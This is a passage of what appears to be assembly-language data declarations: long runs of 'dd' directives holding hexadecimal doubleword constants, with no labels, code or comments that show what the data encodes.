dd 0ABE0B4EDh, 0ECB8A9D2h, 16550180h, 13008BE3h, 34D5C415h
dd 1FB71BBBh, 0C00F9Ch, 35107395h, 69C0E508h, 413EA7D8h
dd 40300790h, 39215D8Fh, 94B41052h, 1933EA40h, 441E0A99h
dd 6FA05C6Ch, 57717D61h, 268C72F3h, 0AA4390ABh, 0BF66F8C3h
dd 814D00ADh, 0C9EA0903h, 0D896483Ah, 254F6909h, 18C8B3FCh
dd 3DEE2523h, 68B5F859h, 0F603DCA6h, 926FB1F9h, 28FD2FA9h
dd 0D025806Ch, 3ACFC39h, 1E88CBE1h, 0F5806CBEh, 0F4A09974h
dd 0CC132083h, 0B0498F44h, 0D8E6B0h, 0FF3DDA7Fh, 61F7E52Fh
dd 0C88384Bh, 0CE510120h, 0D113A6FAh, 4A2823C9h, 0B3364CCh
dd 4350F781h, 0E7A0AC64h, 0E71CE2F2h, 0B801D4A9h, 398252E4h
dd 955FCCCh, 979349DFh, 0D242D4F8h, 0C0926527h, 3671640h
dd 0FEE3B105h, 0E08B9AD1h, 759C1E00h, 0A72AA89Bh, 5D0E3200h
dd 0DDFB0B2Bh, 5EE404E9h, 0E2AF6DAAh, 0ECE600E8h, 95D00F2Eh
dd 0CF5C017Bh, 0CA725301h, 70643A13h, 4844D8E8h, 5A363C8Ch
dd 4A8C804Fh, 8601BB84h, 790CE63h, 7474A3EFh, 0F5C8C8B3h
dd 17F9D180h, 918E4DFEh, 3DA9134h, 50BFB1F1h, 0DE809CEDh
dd 164B4CD1h, 926240C8h, 60F53C60h, 0BED30566h, 4FA140BCh
dd 0AF036772h, 0AF192C8h, 613EE0D5h, 0C1284E03h, 725694h
dd 5B5E58F7h, 7BB8C24Fh, 0C0006871h, 0B2A0AC5Ch, 0BF58003Ah
dd 0C6A0ED0h, 46FA4344h, 0A418997Bh, 79B1E518h, 348500B0h
dd 6E8E320Bh, 88A01ED2h, 7006575Ch, 23868BFh, 73B8888Eh
dd 368E0918h, 0F4F89713h, 7FB05C53h, 7500B5EAh, 22EA100Dh
dd 583CF156h, 0F42FD8FCh
dd 8DBF8C40h, 64FE1227h, 0D5B50094h, 0D89E1F3Ch, 7E006FC1h
dd 4B8EFAFDh, 0F8B47525h, 0DFE6B2h, 4773C98Bh, 405CD109h
dd 0C4E4352Bh, 48E9B440h, 5A5200E0h, 4CB5B954h, 400EDC8Dh
dd 6349C4EFh, 278F109Fh, 0B8459A4Ch, 0B8BCE107h, 52F6E7F0h
dd 9B6407E3h, 73A6C0Ah, 0C8FCB269h, 0E8632840h, 432F6889h
dd 8198A5FCh, 84550488h, 0A6B90113h, 0A7821C03h, 823B0DCh
dd 4449CC3h, 8C1A43CDh, 5845A50h, 0A3BA236Ch, 7B90A418h
dd 2586FC13h, 0B1EC1CA5h, 2EA51FFBh, 23888261h, 0C0C62181h
dd 6A915D01h, 28960BC9h, 5CDF4CE8h, 0E62E6997h, 8D88174Eh
dd 46C9E0ACh, 0DB5BAE17h, 0FF4CC8h, 7919FB83h, 70F60CD3h
dd 0CE029CFEh, 0F78D97F2h, 1168C5FCh, 5E5A824Dh, 0E42C6AD8h
dd 0BE8900B8h, 5C7C1E69h, 25BF8E75h, 74CCC46Ch, 9CC500E7h
dd 0AC34535Fh, 4C0218BFh, 2398C62h, 4438A2EBh, 0C958180Dh
dd 0A4E7B71Ch, 8066BB08h, 239F7A2Dh, 4901E983h, 78DEA0D8h
dd 0C041D57Ch, 0D82EE13Ah, 0EE95FA18h, 27F202A0h, 4B268128h
dd 0D921C54h, 291EFCE7h, 874540D1h, 15F79586h, 0BD62300h
dd 0F85FDE3Ah, 0CE9E3C80h, 0A4F2673Ch, 845B00FCh, 8A2E8C0Ch
dd 2D00C277h, 0D7051B20h, 2DEF1617h, 20E4CEBAh, 38D2862Ch
dd 6825DB11h, 0E397F0A0h, 0B008810h, 343799B7h, 0E0F66756h
dd 600F4DEBh, 449B732Fh, 0FC04F1E6h, 0EFC25ACCh, 320000B2h
dd 4F24C868h, 0DB0F8AE6h, 0C3FA8B7Ch, 9A482FEFh, 206044F8h
dd 125E0D5h, 4F946454h, 7C54C810h, 76B05700h, 0EC81DBC3h
dd 38AF0055h, 0C668B139h, 0C17F53D9h, 5C5854B0h, 9D0858BEh
dd 48B33E57h, 0AECE1F02h, 8A20DFACh, 0EC07B58h, 0A2275D74h
dd 9EC5F140h, 7A139F15h, 0E41640D4h, 80D78408h, 739C3C10h
dd 591EC9A9h, 0A8E42C8Fh, 18959383h, 0B2BBA172h, 20FC6189h
dd 0D1567882h, 627F8C69h, 0EAB0073Ch, 8DD06538h, 996241D4h
dd 3EDC0184h, 818CCBFDh, 9E0A18DCh, 69AD2767h, 51BA24E1h
dd 4476CDC8h, 90A08CE0h, 0F762661Ch, 55C20A5h, 9FC7AEh
dd 0FBDEA6EEh, 4F10BA14h, 6045100h, 0F76DE15Dh, 0E8545C78h
dd 0A2E75B17h, 0DDC78080h, 0DAAC93h, 625BD3C6h, 1561DF1Eh
dd 0D6334F12h, 68ACC9h, 2068AF13h, 40CBF924h, 7300ACE2h
dd 2E76E509h, 4822F7FCh, 0DAC51839h, 0EA70C018h, 1F3FD1DCh
dd 0B8C95061h, 12C8BC48h, 54A301C8h, 29949E00h, 399AEA49h
dd 2F70CC58h, 1DBCCEC2h, 0EC2B899Dh, 0F8910203h, 28F4F13Ch
dd 0D67462C7h, 202E20A5h, 721C89A0h, 4BDB593Ch, 41820460h
dd 33500FDh, 6D909677h, 512FCDB9h, 0CEEC91DCh, 74C96910h
dd 2E2B000h, 0B8EDD43h, 10680099h, 0F3311963h, 0A613C734h
dd 54F4620Fh, 1249FE5Ch, 3E188F7h, 0DF0C7E8Eh, 0BE38F4A0h
dd 282CB9FEh, 51253C76h, 8DED40C0h, 0F600F2EBh, 90D68C53h
dd 0BE4A476h, 0C87F24BFh, 50F4E8E2h, 888C1864h, 0D4C801DAh
dd 0E9ADAB4Ah, 0C4F9D0E3h, 39D5333Fh, 70589202h, 0C84C7CE2h
dd 78E6F125h, 0EA0BE8F6h, 4A5F71CBh, 40B07EACh, 0B0394E36h
dd 0BA647803h, 0E9A54D1Bh, 0F048AFD3h, 98C0A6EBh, 0F6D00D4h
dd 1CE9C9EFh, 85E1B0Eh, 762F5840h, 1F8C5A9h, 10809D91h
dd 69EE6D62h, 732208h, 0DA1341AFh, 8F7C4D12h, 0C0954272h
dd 13A56004h, 94EFE16h, 0B8C4675Ch, 0DB038D1Fh, 99A8DC00h
dd 2ADC26Ch, 71952812h, 925D755Bh, 108CD9B4h, 419AC84Dh
dd 309526D5h, 0CCB14CB8h, 9ABF3702h, 0EEB8410Fh, 88038070h
dd 80A43DB7h, 0C5F4AF8h, 0F971ACC8h, 0B8E4EA13h, 0ACA87540h
dd 0C90EE6B0h, 0B3D7FB2Ch, 25EFCA0h, 0FFAC5F0h, 488093C4h
dd 22EFFEA9h, 95B1D601h, 48CE808Bh, 0C074247Ah, 0F70D3980h
dd 10A6674h, 785086E3h, 0D9D38209h, 8F8A8024h, 0B387B876h
dd 4E5C5D50h, 0EF7C0344h, 41018040h, 0B34F0396h, 204ED71h
dd 61343900h, 5623906Eh, 0BACB26AFh, 433740F8h, 5A002C88h
dd 0E648AD89h, 0B7D739h, 0FEB882F8h, 8420FDAh, 0E0107935h
dd 3F51FC2Ch, 0E7B0C1E8h, 0B8B6CAF0h, 2698DFE1h, 0AE7C4F0Ah
dd 8216823Ch, 0A4E822EDh, 4FE45CDCh, 0CDB14200h, 0D802F413h
dd 9D1AFD5Eh, 1440E4BBh, 9F4D27CEh, 88EF7716h, 99008988h
dd 0CB5AA691h, 1C73261h, 0A2A59517h, 2356120Fh, 34AF00D4h
dd 0B47CC4A7h, 62363804h, 28FB939h, 0B6937ABh, 27559C18h
dd 47523D00h, 0C0AB9232h, 2D11EC84h, 18E6EDBFh, 0BE8E3000h
dd 0F2C43C1Dh, 0CBF50090h, 15012DA4h, 7801088Ah, 95BACE11h
dd 20735B14h, 0A8C5AF03h, 2AF045D9h, 0E9040DBCh, 446558DCh
dd 468E2082h, 8B5F5E74h, 5B083C78h, 40AA108Ch, 6725FCC1h
dd 28B8594Dh, 4C5D0B1Ch, 982A98Eh, 0B8D4798Fh, 57B6DF80h
dd 6114C4h, 9B0C07D7h, 44BE5949h, 0B9C09102h, 0C039DBCAh
dd 2406F2E4h, 1E8D728h, 1C55B082h, 0B92070CFh, 4F968C94h
dd 9480A4B2h, 0F05C3B8Ch, 5CF95838h, 47CDC410h, 64E6E0C4h
dd 409B130Fh, 0EB786F40h, 0F7381645h, 30DB81F6h, 0EC6B7D2Fh
dd 4B63B0F0h, 148F3CCh, 382167F7h, 1C636879h, 0CF252300h
dd 0A4BD4C09h, 81A5270Bh, 0A74CA011h, 8866AD1Dh, 9707AF26h
dd 25C94DC6h, 3210ACh, 0BE9D7234h, 0C7FE1923h, 4274E997h
dd 0F8A85AF0h, 0C2B03E6Eh, 546EB2A5h, 5D9A2003h, 0F47564ACh
dd 5ACDBAC0h, 2D8300B5h, 0B3E1A82h, 6B4F798Eh, 0E6ECA832h
dd 89751FC8h, 782F8C4h, 0B1215D02h, 0D2031461h, 0C60010D9h
dd 7CEA2D69h, 98E470B2h, 77A886A5h, 212900DCh, 6C5A491Eh
dd 64980CADh, 0CFD55104h, 9C4D812h, 60DC00BBh, 135E8FB0h
dd 288F0D5Ah, 4FCCF809h, 0D244A444h, 112A017Eh, 12B6D6DBh
dd 4B65FD7Ah, 2C771120h, 300E1709h, 3256AC8Fh, 6F20D8E4h
dd 316F740h, 0DE91042Fh, 71C8C73Dh, 0AA4F86B5h, 0CAB17420h
dd 0B0FA0B4Eh, 835FC13Ah, 0C81550B8h, 21DC216h, 8E472DBCh
dd 0CCD03378h, 0CD2093B5h, 0EF2544E3h, 347D7890h, 5F2C85F9h
dd 0C8E84AEAh, 0CD47810h, 0A95EF101h, 821005Ch, 404F0FFDh
dd 504BCC36h, 0F200A4F3h, 0CDEC48A1h, 0F4A67544h, 3D10D744h
dd 7ABB226Bh, 3090231Bh, 6D12C887h, 0AC0020A7h, 1E2541Ch
dd 0D4069216h, 13F5E107h, 0B0449748h, 0ABDEE600h, 957C8E02h
dd 8FA00B54h, 45A12A9h, 274890BDh, 0AAEE00B6h, 0CDE6677Ch
dd 0BC1A71A5h, 639806BAh, 0E8C0EC24h, 9DD07238h, 700804Ch
dd 4D0D0A11h, 3157E1h, 8EE4FA28h, 0C7FFB603h, 81F665E4h
dd 717D2D05h, 0CCE25558h, 0C08EDB85h, 0A93D691h, 27063F27h
dd 0A0104F64h, 21D2CD1h, 0D66D24EAh, 1FE202DEh, 4A340357h
dd 18D03D8Ah, 5851E7A5h, 29090449h, 10AC12C1h, 55F0A5F9h
dd 16FF2EDCh, 13E208C8h, 795CC625h, 0E4A128FCh, 0FE4310F8h
dd 6058E0h, 53BE87DFh, 7239594h, 0CB9910B0h, 3CE1707Ah
dd 22EE3F62h, 0FCB3724Eh, 0F8168121h, 849F400h, 9F014159h
dd 0E9006CE6h, 0EFE86BDFh, 3E3145h, 0AC9D78EEh, 929F7E0Fh
dd 7BC8669Fh, 43623598h, 0D8440859h, 1422CCA6h, 61599A2Fh
dd 0B7F0A400h, 0DCFC04EDh, 0FD86F77Ch, 271E488Ch, 1059B3h
dd 4A5B8B7Bh, 0AB0C4887h, 4133D54Bh, 0F20188B0h, 84E03C4Ch
dd 0C422EB5Ch, 0B34CE821h, 0F3A1F0h, 53941D46h, 99BD92A6h
dd 0DD652000h, 9015F4D0h, 1BF175Ah, 2B788CE8h, 344C2AF8h
dd 525B3B40h, 69E530E4h
dd 8150A4h, 0FA8D5CDCh, 1F95922Bh, 0DCB9E00h, 9A071598h
dd 23B1724h, 5878B6ECh, 8CEF0388h, 0A5D1E4A9h, 0D90B088h
dd 6266D4F7h, 1CCC63D0h, 0F12513CEh, 0FB340708h, 420BF0EDh
dd 74BD2DDh, 0F68D3849h, 23A38038h, 1673E218h, 0C74F1E00h
dd 12558315h, 58A1588Eh, 18969779h, 4F0C3900h, 68C52684h
dd 0F9E31D4Ch, 0B90DCE06h, 0BDF7C00h, 0BD7638F7h, 0C3785516h
dd 0CCA298C4h, 0FB1C601h, 3AED023Dh, 3800A48Ah, 1F6F331Bh
dd 850079C0h, 7219D668h, 922093Fh, 8236B0Fh, 8925B4F4h
dd 0F01670h, 0B8264091h, 94D078Dh, 5E10D502h, 40EF993Fh
dd 90F9D8Ch, 0CC6CD150h, 0B0022CD1h, 66C4FDCDh, 4F710060h
dd 946D19DFh, 0D1C3B646h, 0E85AD57Bh, 12E6C412h, 8CED0193h
dd 811C94C0h, 530BF861h, 4128792Fh, 2D7880B7h, 1BCB0080h
dd 3E3C92E7h, 6D3CC0D6h, 87261FACh, 49A46A00h, 0EF089FDFh
dd 0B86497C2h, 3BC0FF00h, 408B2BCEh, 45132C69h, 807027DDh
dd 24BA9Fh, 0E77CB2C8h, 13CF05FBh, 0FCD876F8h, 0C6212F70h
dd 6C00B7ECh, 23C158FEh, 4BBEA499h, 8F1338B3h, 8940182h
dd 2BAFFE87h, 0A85418C8h, 3F06E8h, 59E5CACh, 770CA433h
dd 59D13B17h, 69FDFD00h, 4B6168ADh, 0BE848817h, 481FE3FAh
dd 0AC00DB06h, 0F202C3CCh, 5F2E2E7Eh, 55F909E0h, 32E7845Ch
dd 0D56D8450h, 9C0900C3h, 655D0EEh, 0AA792CB8h, 18A6FA16h
dd 5A1CA4h, 1796B7Eh, 961B1724h, 8CC5F71Fh, 18166413h
dd 0A8F86865h, 1234E34Eh, 70976371h, 1596D2A1h, 0D460BC71h
dd 72DC9025h, 892FE969h, 53F40C74h, 0CB4548h, 0AF82A643h
dd 4CD2Fh, 993D11DCh, 97B50BF2h, 53670F25h, 0CAE408CCh
dd 1902373Eh, 481A0160h, 0CE720B5Bh, 4899EB4Fh, 1C2C08CCh
dd 407D0340h, 0B409F1E9h, 8737682h, 59A8EE09h, 0A9B881B7h
dd 0C22E0BA4h, 16D58C7Ch, 45931620h, 0EC9CC8A6h, 61412D07h
dd 133004C0h, 12F67897h, 0FD95ABF5h, 71B91090h, 0F958E302h
dd 0F4E2017Bh, 79007CF9h, 66EC1A44h, 2EB7E4A3h, 27E45CF6h
dd 0CB00F8F9h, 0D9DC2A65h, 239D3FE3h, 73352501h, 706811AFh
dd 0EA89CCF8h, 5C0A9CCCh, 0D04390EFh, 0E025E458h, 5F470CF9h
dd 0C0798F01h, 4990207Fh, 8B30D169h, 0AA9A31D4h, 903604C7h
dd 0C254CD74h, 18801BF0h, 6EABF282h, 81C7B63Fh, 0CE9025E1h
dd 0D6FA0148h, 0FED7C0F8h, 1D008013h, 696EF332h, 4B495028h
dd 11F4E371h, 3051C1ACh, 1324C5C2h, 2CC600A9h, 82B7DD27h
dd 0E2F69700h, 0A787F0ACh, 4AE0000Eh, 0B9959391h, 210FEF54h
dd 422C1970h, 409EB571h, 0B8142ECCh, 4ECD25A8h, 0D03438A7h
dd 0B7CAEA71h, 9AEF9805h, 9C085C93h, 8C594479h, 6325B104h
dd 0E39019CCh, 0A1F7DC53h, 287034C9h, 2A4D88F6h, 0CC451CB8h
dd 0B2E0F5F5h, 6F151E9Ch, 504497Fh, 0AA7B6C84h, 142DA04Bh
dd 35C50038h, 5488B9CEh, 9507B1ABh, 39F5EB8Fh, 0AFE90730h
dd 614975A9h, 51CD794Eh, 0FC777AFFh, 0CB8DA100h, 575909B6h
dd 2491EE01h, 40203F10h, 58F519h, 0BAD4C238h, 0C36AFB8Ch
dd 0E71FD80Bh, 80C80B5Bh, 1764CAC4h, 0B8EA4CFFh, 1C417844h
dd 0DCC288Fh, 3E18A556h, 8B01E831h, 0E4F871C8h, 5BBE0172h
dd 0D76C563Eh, 0D633F912h, 0F1D170DCh, 75126708h, 0B44CD531h
dd 7F7E1BEh, 89B44A0Fh, 0BA2CD51Dh, 5E6A1821h, 0E818AE4h
dd 16036734h, 4B84F582h, 89CD54C9h, 0D6DA5460h, 77B50C8h
dd 73190865h, 0BC6C188Dh, 0F85E7689h, 0EDDA58h, 40F5C603h
dd 0EC47D75Ah, 869DD0B3h, 536598Fh, 9F8185DAh, 9068CB5Bh
dd 80A4F293h, 379F648Fh, 0D4F20263h, 89C87092h, 0EE8B9840h
dd 4C88E106h, 25A04DBBh, 8C05E3B2h, 0D0A413D2h, 0AB733470h
dd 6F018DFCh, 0D61F4778h, 0D864EFCEh, 90FA82F9h, 2B47CD2Fh
dd 0E5FC0450h, 22E41D53h, 71383400h, 10886ACFh, 1750980Ah
dd 23BBB95Ah, 0F097DCD8h, 3B90848Fh, 0C5FE111Ch, 51651ADEh
dd 0E0F40058h, 0ECB7C463h, 0E9961500h, 3AD453E5h, 0F53102A5h
dd 0E4398E1Eh, 5809FC53h, 0F1270541h, 938068ECh, 0BAEA05F3h
dd 0D36F562Dh, 7D98008h, 36CF2F8h, 79C04A2Dh, 95EE8924h
dd 1768700Ch, 4C240094h, 90036511h, 7F21D2F7h, 0A8E250A2h
dd 147F2442h, 0FE6C07ECh, 0D03282B8h, 8C3E1D9Dh, 7CF60705h
dd 0B8C14DCDh, 0D4D1AD5Bh, 20415CE1h, 286BFA01h, 0AA77C4B8h
dd 9C2FB000h, 0AD758A8Fh, 9A677ED3h, 0E80D2670h, 0CF860238h
dd 8C400F61h, 969871D1h, 0FC4A20A4h, 7C0538E3h, 0B375CDAFh
dd 166CC19Ch, 0EFF44767h, 0BC93246Fh, 0FCB28F78h, 34643192h
dd 7D246D08h, 974D4500h, 0FF832CBBh, 6D5400B2h, 0FBE00A86h
dd 0A4B44327h, 0BBCF1340h, 0E6731CD4h, 48EA0015h, 52FFFE49h
dd 909A870h, 893D50B9h, 4268C6A4h, 80E30094h, 3607B12Dh
dd 13E89A16h, 0FDEFE475h, 803B9EDCh, 969381Eh, 5B91189h
dd 722388DCh, 0B82C1C64h, 60814100h, 0C2188EE5h, 0FCBCC2B5h
dd 0FA25C0ACh, 52D649Bh, 751440B5h, 627BF918h, 7CE064B0h
dd 3C2E9066h, 0D5009D04h, 8C7BAF03h, 21335FF4h, 0E8D8F378h
dd 90F89DB5h, 0BC408E14h, 0BD9600D2h, 179AB173h, 0D53701D7h
dd 0F90EE20h, 80407C3Eh, 43975419h, 0C91F0024h, 0A826AB51h
dd 603D7844h, 5825FC52h, 2CCD964h, 42C17ABFh, 0FBC86B60h
dd 0ECEF600h, 7F453530h, 0EAF1FA73h, 23551393h, 0B08E321h
dd 8B351868h, 2584C428h, 0EC58938Eh, 19D34AEEh, 0B5802CF8h
dd 15CA56D2h, 1F623Eh, 0E9C615Fh, 14F211h, 5180C6ECh, 67BD37AAh
dd 89D2BC3Dh, 10E2A8Fh, 1534F2E4h, 0FB60D82Ah, 46EC8500h
dd 52764C55h, 7517077Bh, 0A04A6B65h, 0CDD107E0h, 0EF717910h
dd 88DB4C50h, 0C9000F4Ah, 910E3F49h, 1FE63A9Bh, 40437589h
dd 7CC5EFADh, 264F8FE8h, 0BCCAA4C4h, 11ACFA01h, 0E8D754C9h
dd 53B0CB17h, 62C4B400h, 97F0A4D6h, 41084E0Bh, 0D7B967B0h
dd 94D07CFCh, 0FC30D67Ch, 1560AEh, 241F04BEh, 0D1FE1C9Dh
dd 0D4958E4Eh, 20CD1882h, 2C586667h, 451A0701h, 7EDBD7B7h
dd 441830A5h, 0B13A035Ah, 0C48A4A71h, 121EC001h, 0E87C2E45h
dd 90975BAFh, 1E06A6E0h, 4109CA21h, 2C53C9D2h, 68DC314Fh
dd 0CF88070h, 3B4971h, 0E24B0892h, 0CA17B7CBh, 1551CBA0h
dd 9D4C8A61h, 84F20809h, 2F40D9C0h, 0A11DE8C7h, 0AD850E00h
dd 0EE2A6184h, 3864976Bh, 0E99C1800h, 5E6DF49Ah, 3236001Fh
dd 0B76B830Fh, 0C4BC017Dh, 2A40042Eh, 13CA8C1Fh, 22F94Eh
dd 18E8D818h, 0A901BA77h, 3154E038h, 0DC2E8AF0h, 9C4052C8h
dd 5F4E5A71h, 0ED28B838h, 17594A14h, 55C04014h, 82535494h
dd 5ECAA502h, 744BC5D7h, 0D954060h, 0B500EA31h, 0C8B81AFCh
dd 3D1D724Ah, 0A505B653h, 0C48BD189h, 8870BAC0h, 99B8C18h
dd 368D935Ch, 4A4124FCh, 0F5C81184h, 0F290182Eh, 1E643861h
dd 80280F41h, 5EF13480h, 337DD7CEh, 11006148h, 0D10B525Bh
dd 5C18668Ch, 1C0118D4h, 893CD205h, 0C4CD7810h, 2994887Ah
dd 65480803h, 0E2BF42A3h, 0F474EBE1h, 0AE80D8BCh, 2A52164Ch
dd 6C548700h, 2350B08h, 4A0600C7h, 32B24FB5h, 0DC325634h
dd 8454B9C3h, 38EB7F48h, 0B7848108h, 0F019B011h, 0E7134AB5h
dd 29010341h, 5A51105Fh, 5C6D7060h, 0B84CFC6Fh, 0F0169080h
dd 0C0289722h, 4054E0B9h, 0F4B668B4h, 1EB8C42Dh, 80978069h
dd 9160ABA9h
dd 0C39F961Bh, 0AC408504h, 9550FB3Bh, 4B8F000Fh, 0E27693F4h
dd 4005344Ch, 0BFBAF019h, 9522B0CEh, 0A7830899h, 0D8C73E4Fh
dd 2A040Fh, 899B2BE7h, 347D6795h, 5D96EE0Eh, 584A5F03h
dd 0FF169C23h, 8869C0E0h, 8025D417h, 0F654E411h, 25671E49h
dd 7A4F45AFh, 5968BC23h, 2180B5Ch, 2D0CD4ECh, 68004C5Bh
dd 653CABC8h, 79AE023Ah, 6DC733D2h, 42A67C80h, 1500FF61h
dd 47F8CE18h, 4C1977DBh, 0B45830D2h, 65CC205Fh, 48E83AB5h
dd 3DCF303h, 0A8A6BB7Fh, 41349DDh, 5A675C72h, 540104E0h
dd 4D10E8A2h, 44FA9F02h, 49391759h, 0F7E841F4h, 6A153C86h
dd 45025C60h, 24C80006h, 855C6E52h, 0BA3D6C10h, 0B0418F7Fh
dd 9849DA91h, 5C84D0h, 1F2E5438h, 0A3186A83h, 62224D04h
dd 388C53BFh, 752AF8CEh, 0BA870082h, 8F3F49Bh, 4E5CC88Ch
dd 586E24D8h, 6D15204Eh, 127A5920h, 0A2C4FDCCh, 63D9009Ch
dd 0F1CE26B6h, 8C47276Dh, 9C0138D1h, 92869940h, 0EF2D886Ch
dd 0CF429018h, 0B9DC508Ah, 204844B8h, 97CCF7D3h, 3879A49Ah
dd 98914101h, 0B0F807E5h, 4D273BFDh, 83028B00h, 7529A225h
dd 0FE1ABB00h, 67092BADh, 0BC94B834h, 5594010h, 0BC007F32h
dd 0ACE7A2D8h, 211D68h, 0D6A4B44Ch, 0A8A6DCE1h, 46AD4CBEh
dd 0B6F71298h, 0BC488C4h, 1CE2F45Bh, 45110076h, 4F19C1D2h
dd 0D60BB0B4h, 41D1B559h, 207A02A4h, 0A6773C8h, 215CFC01h
dd 75CE8FB1h, 0F880203Fh, 190986DEh, 21F2912h, 846C32A4h
dd 0E856D898h, 7298344h, 0C8ACA016h, 0E090BFA7h, 2A005A5Bh
dd 1E8CE4CAh, 0E8BFC0C9h, 0A49D0BB0h, 7044F172h, 0FB3B213Ch
dd 2CA0232Ah, 79953600h, 84765450h, 24CE9D69h, 0E6EAA498h
dd 28B9ECB0h, 594BDF40h, 0C2C11635h, 63B4C88Eh, 0FD14189Dh
dd 467E275Ah, 2480A8D2h, 0F30EE519h, 0DDEDC9B3h, 4154F0Bh
dd 0B0F9E082h, 0E14A3580h, 0E20029F8h, 82A6174Dh, 2D3C6CF1h
dd 5CE27F77h, 0CD6DE8C0h, 18B55070h, 27FBE30h, 0B94A0537h
dd 30DFAAA5h, 48A2A34h, 1187087Ch, 16170115h, 1828E42Dh
dd 22BD9D3Eh, 0F73868Ch, 56150131h, 0FF0CF10h, 0D0CCF5h
dd 0CE77BA4Fh, 14B954E1h, 8C14FDE4h, 7307B00h, 3F101917h
dd 0E26303BCh, 1F9D601Eh, 7854C0ECh, 94951508h, 52A48060h
dd 0F9493093h, 0BB6CA162h, 0A0C8BE5Ah, 0D8628AFAh, 3EC947Fh
dd 1779B6BEh, 1E8294A3h, 0EBD3BF40h, 0CD21C900h, 0B218E6DDh
dd 275CEC05h, 9465EC49h, 37353D00h, 0FEC5BC93h, 48D40206h
dd 0AC320FC0h, 45008CC4h, 0CF9C1947h, 7D39A734h, 33E6016Dh
dd 8CC410A9h, 99BAEEh, 84CAEFB0h, 2554EA48h, 0CCF95971h
dd 9DDEB040h, 3CBE0003h, 8947908Ch, 0D70B7351h, 349CE80h
dd 0F1EF6D48h, 2C2ECD0Ch, 0C258D710h, 0FACC1674h, 40BCC8DCh
dd 0C93ED188h, 0B4704EC3h, 384F716h, 0E72C2895h, 80C0FFFBh
dd 8B4B600Ch, 0C07C64F0h, 0C3BC9908h, 0FA3B5E94h, 781AAFEEh
dd 78485C8Ch, 49A4984Ah, 71F46600h, 0BC4BA75Eh, 0C3A916EBh
dd 6DDCC536h, 0C81020A4h, 4FB59498h, 186F00D4h, 0E7E4C9BAh
dd 0F586EA39h, 0B9C5F002h, 59AFEF0Fh, 0D33D000Ch, 0ED6780F9h
dd 0BA73EA00h, 3BBFEC71h, 3AD93813h, 80AB5A8Eh, 682B036Bh
dd 0A4FF38A0h, 6E387B94h, 55AB07E5h, 0C4A4E827h, 0C37808FEh
dd 1282EA80h, 0D22DA68h, 234E3738h, 0C0707CC8h, 47BC30A6h
dd 61E0E2BDh, 34DC4806h, 80544519h, 86D729B4h, 0FECE8D03h
dd 9873B27Ch, 49FBBB4h, 8AFD39B1h, 0E80EEEA8h, 0BEFEE01h
dd 7CA02BE8h, 36C06F44h, 0EC76DFF9h, 0D6EA6A02h, 4054938Dh
dd 4CE76044h, 5802E4FEh, 0D906E539h, 0AD60C227h, 22D10E2h
dd 696F1DCFh, 57F8E6Ch, 1AF0270h, 0C2188F3Ch, 0B8D9CA8Dh
dd 415C7925h, 0EC340B3Ah, 0D1716920h, 0B01FEC01h, 10EFE48Bh
dd 4C1A6420h, 0D680D086h, 0B96D983Dh, 208F8030h, 445F7233h
dd 0AB2E25F6h, 4100AAEEh, 17FE1653h, 34A54A7Ah, 0E0E8D8h
dd 0EF5DEE21h, 244A9886h, 4E1A08h, 6F276AE1h, 0C4BF9F3Ah
dd 83EE10h, 2BB69B2Ch, 0DBEFE747h, 0F5129090h, 3912AF88h
dd 491F4704h, 5E4D44B0h, 0BAD425E5h, 0FFEC28h, 0E51B5BA1h
dd 4B92AD15h, 0C150C49Fh, 0C68E9DD0h, 0F4D03EF3h, 2D801822h
dd 0A442AAE6h, 4809EC89h, 0F8537C7Eh, 917981A4h, 3C6284Ch
dd 95AEA1CFh, 0E1A1E526h, 1C43218h, 327C5337h, 2470D721h
dd 0BAEF27FEh, 450548A0h, 0C5009931h, 7998468Fh, 87B464h
dd 177EFD34h, 0B0C05CECh, 4D10961Fh, 764C8F02h, 0C26CCAEFh
dd 0A0FC6680h, 0B5CCA044h, 6A00E0C6h, 83696E86h, 0EEFC81h
dd 0ABEFD9B7h, 625D6494h, 0BA599912h, 93879002h, 0CB4C80BBh
dd 800155h, 1210C342h, 554CA4Fh, 5CD30439h, 1C222E60h
dd 9626F1Ch, 643D167h, 6300A0FAh, 0F96E8F74h, 4FCD6DEh
dd 0E787B570h, 0C317C1F1h, 79A891E6h, 0D22F0C00h, 0C2FE37C4h
dd 761280B0h, 4040BBF8h, 4181EE9Dh, 0CC3E1D23h, 8C16167Dh
dd 9F1EB0CCh, 0F1142668h, 2C29D688h, 0C81242E1h, 0F172387Ch
dd 0AC6396F8h, 5026A094h, 56A718B1h, 0D28BF09Eh, 0F2007893h
dd 8E50F77Ah, 542B48CFh, 0B1CC7877h, 0DD166110h, 3E93DFF3h
dd 262B1FD0h, 55021015h, 0A3891660h, 7475380Bh, 0D88861D0h
dd 579EFCA6h, 0C6903427h, 0CE5E00E4h, 4F07AEDDh, 6E1E0824h
dd 0A4820AAAh, 0DCDF27D4h, 0EBBD8054h, 8FAC43C2h, 0EC00445Fh
dd 6E9B6BDDh, 18A61D4Fh, 353ECA7Ah, 821CC4h, 0AAEF98E2h
dd 0C21FB108h, 0EC6F7193h, 0FD4B0048h, 6068AA80h, 6224B13Ah
dd 78129410h, 0DDD0D427h, 0E66797h, 0A1D35F95h, 0DCD5699Ah
dd 11ADBF1Fh, 1076EF40h, 4D193525h, 0A30EC45Fh, 28C03823h
dd 0E3696090h, 0C140F50Fh, 708B24A1h, 808809EAh, 0F678C818h
dd 0C8039E00h, 7FD8E7E0h, 0F9C123Dh, 0C204B9EAh, 0DF4AB9B3h
dd 0B8EA7018h, 1F08E00h, 8A364C6Ch, 0A2B54F7Fh, 2D830080h
dd 40593B17h, 1B1300EAh, 2A75E6B4h, 31003432h, 0F01EAB81h
dd 0C4F3D3h, 4DFE1AF1h, 2E77E34Ch, 0FC1D8B4Ah, 0E838D92Dh
dd 0BEC3C098h, 5D0076B0h, 7E0D305Ch, 0BFE5328h, 9C1FA056h
dd 60CB300h, 6B74E6E1h, 0F81EC800h, 2E83990Fh, 22440959h
dd 50586F0Ah, 0F1D1870Ch, 964E9012h, 730049E0h, 0BBB06CE5h
dd 33AAEE01h, 3AC38473h, 9E08907Bh, 0D4F79823h, 0AF5EED8Bh
dd 0FB124C8h, 547CAB71h, 0C82AF5C0h, 0B807585Ch, 0C41E3F34h
dd 6F781089h, 0C6A90126h, 8EEAEB9Bh, 0E0AD4453h, 0C75DC4DCh
dd 8E8CCBD0h, 0F825E11Ch, 7000CD86h, 99009A5Ch, 0DC9624D8h
dd 9EC5B80h, 43500518h, 0C0D9E409h, 0FB5AE363h, 0F949E92Ah
